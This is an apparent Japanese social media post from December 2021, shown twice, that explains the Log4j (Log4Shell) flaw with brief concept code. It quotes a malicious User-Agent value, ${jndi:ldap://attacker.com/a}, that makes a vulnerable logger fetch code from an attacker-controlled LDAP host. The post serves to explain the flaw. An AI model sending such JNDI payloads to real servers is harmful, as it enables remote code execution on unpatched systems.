#Log4j 概念コード。 import org.apache.log4j.Logger; static Logger log = Logger.getLogger(log4jExample.class.getName()); 攻撃者は、User-Agentヘッダに ${jndi:ldap://attacker.com/a} とか悪意の文字列を設定、 https://t.co/4nI2uoLixK(“Request User Agent:” + userAgent); を呼べば💀

2021-12-23 aki

<<<#Log4j 概念コード。 import org.apache.log4j.Logger; static Logger log = Logger.getLogger(log4jExample.class.getName()); 攻撃者は、User-Agentヘッダに ${jndi:ldap://attacker.com/a} とか悪意の文字列を設定、 https://t.co/4nI2uoLixK("Request User Agent:" + userAgent); を呼べば💀>>>

December 23, 2021 at 09:24PM

@o_ob